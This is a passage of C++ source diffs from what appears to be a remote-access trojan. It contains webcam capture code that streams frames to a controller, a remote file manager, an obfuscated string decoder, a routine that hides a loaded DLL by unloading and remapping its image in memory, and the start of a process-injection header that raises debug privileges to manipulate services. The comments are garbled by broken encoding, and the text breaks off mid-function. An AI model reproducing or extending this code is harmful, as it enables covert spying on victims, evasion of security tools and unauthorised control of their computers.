NotifyDialogIsOpen();
break;
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
}
break;
case COMMAND_WEBCAM_DISABLECOMPRESS:
InterlockedExchange((LPLONG)&m_bIsCompress, false);
break;
case COMMAND_WEBCAM_RESIZE:
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
break;
default:
break;
}
}
void CVideoManager::sendBITMAPINFO()
{
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(lpBuffer + 1, m_pVideoCap->m_lpbmi, sizeof(BITMAPINFO));
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void CVideoManager::sendNextScreen()
{
LPVOID lpDIB = m_pVideoCap->GetDIB();
// token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
LPBYTE lpBuffer = new BYTE[nBufferLen];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress;
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD));
UINT nPacketLen = 0;
if (m_bIsCompress && m_pVideoCodec)
{
int nCompressLen = 0;
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage, lpBuffer + nHeadLen, &nCompressLen, NULL);
if (!nCompressLen)
{
// some thing ...
return;
}
nPacketLen = nCompressLen + nHeadLen;
}
else
{
memcpy(lpBuffer + nHeadLen, lpDIB, m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage);
nPacketLen = m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage + nHeadLen;
}
Send(lpBuffer, nPacketLen);
delete [] lpBuffer;
}
void CVideoManager::ResetScreen(int nWidth, int nHeight)
{
InterlockedExchange((LPLONG)&m_bIsWorking, false);
WaitForSingleObject(m_hWorkThread, INFINITE);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>С
m_nVedioWidth = nWidth;
m_nVedioHeight = nHeight;
InterlockedExchange((LPLONG)&m_bIsWorking, true);
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
{
static dwLastScreen = GetTickCount();
CVideoManager *pThis = (CVideoManager *)lparam;
if (!pThis->Initialize())
{
pThis->Destroy();
pThis->m_pClient->Disconnect();
return -1;
}
pThis->sendBITMAPINFO();
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->WaitForDialogOpen();
while (pThis->m_bIsWorking)
{
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
dwLastScreen = GetTickCount();
pThis->sendNextScreen();
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5><EFBFBD>
pThis->Destroy();
return 0;
}
bool CVideoManager::Initialize()
{
bool bRet = false;
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>
if (!CVideoCap::IsWebCam())
return false;
m_pVideoCap = new CVideoCap;
// ָ<><D6B8><EFBFBD>˹̶<CBB9><CCB6><EFBFBD>С
if (m_nVedioWidth && m_nVedioHeight)
{
bRet = m_pVideoCap->Initialize(m_nVedioWidth, m_nVedioHeight);
}
else
{
// <20><><EFBFBD><EFBFBD>H263<36><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>ִ<EFBFBD>С,<2C><><EFBFBD>ȿ<EFBFBD><C8BF><EFBFBD>
bRet = m_pVideoCap->Initialize(352, 288);
if (!bRet)
bRet = m_pVideoCap->Initialize(176, 144);
// <20><><EFBFBD><EFBFBD>ϵͳĬ<CDB3>ϵ<EFBFBD>
if (!bRet)
bRet = m_pVideoCap->Initialize();
}
// <20><>Ҫ<EFBFBD><D2AA>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CVideoCap<61><70>ʼ<EFBFBD><CABC>ʧ<EFBFBD><CAA7>
if (!bRet)
return bRet;
// <20><><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡһ<D1A1><D2BB>
DWORD fccHandlerArray[] =
{
859189837, // Microsoft H.263 Video Codec
842225225, // Intel Indeo(R) Video R3.2
842289229, // Microsoft MPEG-4 Video Codec V2
1684633187 // Cinepak Codec by Radius
};
for (int i = 0; i < sizeof(fccHandlerArray) / sizeof(fccHandlerArray[0]); i++)
{
m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_pVideoCap->m_lpbmi, fccHandlerArray[i]))
{
delete m_pVideoCodec;
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
m_pVideoCodec = NULL;
}
else
{
m_fccHandler = fccHandlerArray[i];
break;
}
}
return bRet;
}
void CVideoManager::Destroy()
{
if (m_pVideoCap)
{
delete m_pVideoCap;
m_pVideoCap = NULL;
}
if (m_pVideoCodec)
{
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
}

View File

@@ -0,0 +1,40 @@
// VideoManager.h: interface for the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
#define AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "VideoCap.h"
#include "VideoCodec.h"
class CVideoManager : public CManager
{
public:
void Destroy();
bool Initialize();
CVideoManager(CClientSocket *pClient);
virtual ~CVideoManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void sendBITMAPINFO();
void sendNextScreen();
bool m_bIsWorking;
private:
CVideoCap *m_pVideoCap;
CVideoCodec *m_pVideoCodec;
DWORD m_fccHandler;
int m_nVedioWidth;
int m_nVedioHeight;
bool m_bIsCompress;
HANDLE m_hWorkThread;
void ResetScreen(int nWidth, int nHeight);
static DWORD WINAPI WorkThread(LPVOID lparam);
};
#endif // !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)

View File

@@ -0,0 +1,89 @@
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static int pos(char c)
{
char *p;
for(p = base64; *p; p++)
if(*p == c)
return p - base64;
return -1;
}
int base64_decode(const char *str, char **data)
{
const char *s, *p;
unsigned char *q;
int c;
int x;
int done = 0;
int len;
s = (const char *)malloc(strlen(str));
q = (unsigned char *)s;
for(p=str; *p && !done; p+=4){
x = pos(p[0]);
if(x >= 0)
c = x;
else{
done = 3;
break;
}
c*=64;
x = pos(p[1]);
if(x >= 0)
c += x;
else
return -1;
c*=64;
if(p[2] == '=')
done++;
else{
x = pos(p[2]);
if(x >= 0)
c += x;
else
return -1;
}
c*=64;
if(p[3] == '=')
done++;
else{
if(done)
return -1;
x = pos(p[3]);
if(x >= 0)
c += x;
else
return -1;
}
if(done < 3)
*q++=(c&0x00ff0000)>>16;
if(done < 2)
*q++=(c&0x0000ff00)>>8;
if(done < 1)
*q++=(c&0x000000ff)>>0;
}
len = q - (unsigned char*)(s);
*data = (char*)realloc((void *)s, len);
return len;
}
char* MyDecode(char *str)
{
int i, len;
char *data = NULL;
len = base64_decode(str, &data);
for (i = 0; i < len; i++)
{
data[i] -= 0x86;
data[i] ^= 0x19;
}
return data;
}

View File

@@ -0,0 +1,57 @@
// FileManager.h: interface for the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
using namespace std;
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
typedef struct
{
UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
}SENDFILEPROGRESS, *PSENDFILEPROGRESS;
class CFileManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient);
virtual ~CFileManager();
private:
list <string> m_UploadList;
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer();
UINT SendFilesList(LPCTSTR lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
UINT SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
};
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)

View File

@@ -0,0 +1,317 @@
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#pragma comment(lib, "Psapi.lib")
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam);
typedef struct
{
HMODULE lpDllBase;
LPVOID lpNewDllBase;
PTHREAD_START_ROUTINE pAddress;
LPVOID lParam;
}UNLOADLIB_CALLBACK, *PUNLOADLIB_CALLBACK;
typedef
LPVOID WINAPI VIRTUALALLOC(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef
BOOL WINAPI VIRTUALFREE(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
typedef
BOOL WINAPI HEAPDESTROY(
HANDLE hHeap
);
typedef
HMODULE WINAPI LOADLIBRARY(
LPCTSTR lpFileName
);
typedef
HANDLE WINAPI CREATETHREAD(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef void * __cdecl MEMCPY(void *, const void *, size_t);
BOOL incLibraryCount(HMODULE hMe)
{
//FreeLibrary<72><79><EFBFBD>ܶ<EFBFBD>ϵͳdllҲ<6C><D2B2>free<65><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѽ<EFBFBD><D1BC>ص<EFBFBD><D8B5><EFBFBD>loadһ<64><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>
HANDLE hModsSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
if(INVALID_HANDLE_VALUE == hModsSnap)
{
return FALSE;
}
MODULEENTRY32 meModuleEntry;
meModuleEntry.dwSize = sizeof(MODULEENTRY32);
if(!Module32First(hModsSnap, &meModuleEntry))
{
CloseHandle(hModsSnap);
return FALSE;
}
do
{
if(LoadLibrary(meModuleEntry.szModule) == hMe)
FreeLibrary(hMe);
} while(Module32Next(hModsSnap, &meModuleEntry));
CloseHandle(hModsSnap);
return TRUE;
}
//ö<><C3B6>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
DWORD WINAPI EnumAndSetThreadState(LPVOID lParam)
{
HANDLE hThreadSnap = NULL;
THREADENTRY32 te32;
memset(&te32,0,sizeof(te32));
te32.dwSize = sizeof(THREADENTRY32);
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
DWORD myThreadId = GetCurrentThreadId();
DWORD pid = GetCurrentProcessId();
if (Thread32First(hThreadSnap, &te32))
{
do
{
if (pid == te32.th32OwnerProcessID)
{
if(myThreadId != te32.th32ThreadID)
{
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME,
FALSE,
te32.th32ThreadID);
if(hThread != NULL)
{
if((int)lParam)
ResumeThread(hThread);
else
SuspendThread(hThread);
CloseHandle(hThread);
}
}
}
}
while (Thread32Next(hThreadSnap,&te32));
}
CloseHandle( hThreadSnap );
return 0;
}
DWORD WINAPI GotoCallBackAddr(LPVOID lParam)
{
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
DWORD dwThreadId;
HANDLE hThread;
if(cbFunc->pAddress)
{
hThread = CreateThread(
NULL,
0,
cbFunc->pAddress,
cbFunc->lParam,
0,
&dwThreadId);
if(hThread)
CloseHandle(hThread);
}
//<2F>Ƿ<EFBFBD>dll<6C>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ˣ<EFBFBD><CBA3>ͷ<EFBFBD>~
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
delete cbFunc;
return 0;
}
DWORD WINAPI UnLoadLibrary(LPVOID lParam)
{
BYTE HeapDestroy_HookCode_bak[4];
BYTE HeapDestroy_HookCode[4] = "\xC2\x04\x00";//RETN 0004
MODULEINFO modinfo;
DWORD oldProtect;
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
HMODULE hDllInstance = cbFunc->lpDllBase;
char dllpath_bak[MAX_PATH];
GetModuleFileName(hDllInstance, dllpath_bak, sizeof(dllpath_bak));
GetModuleInformation(GetCurrentProcess(), hDllInstance, &modinfo, sizeof(MODULEINFO));
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dll(<28><><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>)<29><><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>,<2C><>ֹFreeLibrary<72><79>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Щdll<6C><6C>ϵͳж<CDB3>ص<EFBFBD>
incLibraryCount(hDllInstance);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><E3B6A8><EFBFBD>ٻָ<D9BB>
EnumAndSetThreadState((LPVOID)FALSE);
//FreeLibrary֮<79><D6AE>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>api<70><69>ַ<EFBFBD><D6B7><EFBFBD>ڴ<EFBFBD>Ҳ<EFBFBD><EFBFBD>ͷţ<CDB7>
//<2F><><EFBFBD><EFBFBD>FreeLibrary֮<79><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD>ûfree<65><65><EFBFBD>ؼ<EFBFBD>API<50><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
VIRTUALALLOC *_VirtualAlloc = (VIRTUALALLOC*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
LOADLIBRARY *_LoadLibrary = (LOADLIBRARY*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CREATETHREAD *_CreateThread = (CREATETHREAD*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");
MEMCPY *_memcpy = (MEMCPY*)
GetProcAddress(GetModuleHandle("ntdll.dll"), "memcpy");
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܹؼ<DCB9><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ã<EFBFBD><C3A3><EFBFBD> FreeLibrary ʱϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD>Ҫhook<6F><6B>,
//<2F><><EFBFBD>ܸ<EFBFBD>ϵͳ<CFB5>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>heap<61><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD>dllò<6C><C3B2><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD><EFBFBD>
//<2F><>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>new<65><77>malloc<6F><63><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>, VirtualAlloc<6F><63><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>֮<EFBFBD><D6AE>
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><C7BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD><EFBFBD>ø<EFBFBD>,<2C><>list<T><3E><>push<73>ڲ<EFBFBD><DAB2><EFBFBD>new
HEAPDESTROY *_HeapDestroy = (HEAPDESTROY*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "HeapDestroy");
VirtualProtect(_HeapDestroy, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
//<2F>޸ĵ<DEB8>һ<EFBFBD><D2BB>ָ<EFBFBD><D6B8>Ϊֱ<CEAA>ӷ<EFBFBD><D3B7><EFBFBD>
_memcpy(HeapDestroy_HookCode_bak, _HeapDestroy, 3);
_memcpy(_HeapDestroy, HeapDestroy_HookCode, 3);
//Sleep(100);
//<2F><><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~~~^_^!
FreeLibrary(hDllInstance);//<2F>ͷ<EFBFBD>
//<2F>޸<EFBFBD><DEB8><EFBFBD>hook<6F>ĺ<EFBFBD><C4BA><EFBFBD>
_memcpy(_HeapDestroy, HeapDestroy_HookCode_bak, 3);
//_memcpy(_RtlFreeHeap, RtlFreeHeap_HookCode_bak, 3);
//<2F><>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>dll<6C><6C>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ棬<DAB4><E6A3AC><EFBFBD><EFBFBD>֮ǰ<D6AE><C7B0><EFBFBD>Ƿ<EFBFBD>dll<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>ȥ
if(_VirtualAlloc(hDllInstance,
modinfo.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE) == NULL
)
{
//ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>dll, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>
//ע<><EFBFBD><E2A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>е<EFBFBD><D0B5><EFBFBD>HideLibrary<72><79>LoadLibrary<72><79><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>ٴα<D9B4><CEB1><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
HMODULE hDll = _LoadLibrary(dllpath_bak);
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>hDll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC>ĵ<EFBFBD>ַ
cbFunc->pAddress = (LPTHREAD_START_ROUTINE)
((DWORD)cbFunc->pAddress - (DWORD)hDllInstance + (DWORD)hDll);
LPTHREAD_START_ROUTINE pFunc1 = (LPTHREAD_START_ROUTINE)
((DWORD)EnumAndSetThreadState - (DWORD)hDllInstance + (DWORD)hDll);
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
_CreateThread(0, 0, pFunc1, (LPVOID)TRUE, 0, 0);
//<2F><><EFBFBD>ûص<C3BB><D8B5><EFBFBD><EFBFBD><EFBFBD>
if(cbFunc->pAddress)
_CreateThread(0, 0, cbFunc->pAddress, cbFunc->lParam, 0, 0);
return 0;
}
_memcpy(hDllInstance, cbFunc->lpNewDllBase, modinfo.SizeOfImage);
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
EnumAndSetThreadState((LPVOID)TRUE);
//<2F><><EFBFBD><EFBFBD>ԭdll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>GotoCallBackAddr<64><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>VirtualAlloc<6F><63><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
_CreateThread(0, 0, GotoCallBackAddr, cbFunc, 0, 0);
return 0;
}
DWORD WINAPI HideLibrary02(LPVOID lParam)
{
//__asm INT 3
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
MODULEINFO modinfo;
GetModuleInformation(GetCurrentProcess(), cbFunc->lpDllBase, &modinfo, sizeof(MODULEINFO));
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>͵<EFBFBD>ǰdllͬ<6C><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ<EFBFBD>
cbFunc->lpNewDllBase = VirtualAlloc(NULL, modinfo.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(cbFunc->lpNewDllBase == NULL)
return FALSE;
//<2F><><EFBFBD><EFBFBD>ǰdll<6C><6C><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ棬
memcpy(cbFunc->lpNewDllBase, modinfo.lpBaseOfDll, modinfo.SizeOfImage);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>copy<70><79>UnLoadLibrary<72>ĵ<EFBFBD>ַ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵߳<DFB3><CCB5>õ<EFBFBD>ִַ<D6B7><D6B4>
void *pNewUnLoadLibrary = LPVOID((DWORD)cbFunc->lpNewDllBase + (DWORD)UnLoadLibrary - (DWORD)modinfo.lpBaseOfDll);
DWORD ThreadId;
HANDLE hThread = CreateThread(0,0,
(LPTHREAD_START_ROUTINE)pNewUnLoadLibrary, (LPVOID)cbFunc, CREATE_SUSPENDED, &ThreadId);
if(hThread == NULL)
{
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
delete cbFunc;
return FALSE;
}
ResumeThread(hThread);
CloseHandle(hThread);
return TRUE;
}
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam)
{
PUNLOADLIB_CALLBACK lparam = new UNLOADLIB_CALLBACK;
lparam->lpDllBase = hModule;
lparam->lpNewDllBase = NULL;
lparam->pAddress = (PTHREAD_START_ROUTINE)pCallBackAddr;
lparam->lParam = lParam;
HANDLE hThread = CreateThread(0,0,
HideLibrary02, (LPVOID)lparam, 0, NULL);
if(hThread == NULL)
{
delete lparam;
return;
}
CloseHandle(hThread);
return;
}

View File

@@ -0,0 +1,170 @@
#if !defined(AFX_INJECT_H_INCLUDED)
#define AFX_INJECT_H_INCLUDED
#include <windows.h>
#include <Tlhelp32.h>
extern DWORD GetProcessID(LPCTSTR lpProcessName);
#define THREADSIZE 1024 * 10 //should be big enough
typedef SC_HANDLE (__stdcall *TOpenSCManager)(LPCTSTR, LPCTSTR, DWORD);
typedef SC_HANDLE (__stdcall *TOpenService)(SC_HANDLE, LPCTSTR, DWORD);
typedef BOOL (__stdcall *TQueryServiceStatus)(SC_HANDLE, LPSERVICE_STATUS);
typedef BOOL (__stdcall *TControlService)(SC_HANDLE, DWORD, LPSERVICE_STATUS);
typedef BOOL (__stdcall *TStartService)(SC_HANDLE, DWORD, LPCTSTR*);
typedef BOOL (__stdcall *TDeleteService)(SC_HANDLE);
typedef BOOL (__stdcall *TCloseServiceHandle)(SC_HANDLE);
typedef DWORD (__stdcall *TSHDeleteKey)(HKEY, LPCTSTR);
typedef BOOL (__stdcall *TCloseHandle)(HANDLE);
typedef VOID (__stdcall *TSleep)(DWORD);
typedef BOOL (__stdcall *TDeleteFile)(LPCTSTR);
typedef struct
{
TOpenSCManager MyOpenSCManager;
TOpenService MyOpenService;
TQueryServiceStatus MyQueryServiceStatus;
TControlService MyControlService;
TStartService MyStartService;
TDeleteService MyDeleteService;
TCloseServiceHandle MyCloseServiceHandle;
TSHDeleteKey MySHDeleteKey;
TCloseHandle MyCloseHandle;
TSleep MySleep;
TDeleteFile MyDeleteFile;
char strServiceName[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char strServiceRegKey[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>λ<EFBFBD><CEBB>
}REMOTE_PARAMETER, *PREMOTE_PARAMETER;
bool EnableDebugPriv(void)
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
return false;
if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
{
CloseHandle(hToken);
return false;
}
CloseHandle(hToken);
return true;
}
DWORD __stdcall MyFunc(LPVOID lparam)
{
REMOTE_PARAMETER *pRemoteParam = (REMOTE_PARAMETER *)lparam;
SC_HANDLE service = NULL, scm = NULL;
SERVICE_STATUS Status;
scm = pRemoteParam->MyOpenSCManager(0, 0,
